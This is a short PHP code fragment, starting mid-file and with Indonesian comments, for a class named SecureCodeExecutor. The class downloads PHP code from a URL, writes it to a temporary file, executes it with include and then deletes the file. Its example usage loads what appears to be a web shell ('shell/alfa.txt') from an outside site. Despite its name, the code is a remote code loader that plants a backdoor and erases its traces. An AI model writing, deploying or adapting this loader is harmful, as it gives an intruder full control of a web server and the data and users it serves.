fetcher = $fetcher; } public function executeFetchedCode(string $url): void { $code = $this->fetcher->fetchContent($url); // Simpan ke file sementara $tempFile = tempnam(sys_get_temp_dir(), 'exec_') . '.php'; file_put_contents($tempFile, $code); try { include $tempFile; } finally { unlink($tempFile); // Hapus file setelah eksekusi } } } // Example Usage try { $fetcher = new CurlFetcher(); $executor = new SecureCodeExecutor($fetcher); // Eksekusi kode PHP yang diambil dari URL $executor->executeFetchedCode("https://desa-alam.net/shell/alfa.txt"); } catch (Exception $e) { echo "Error: " . htmlspecialchars($e->getMessage()); }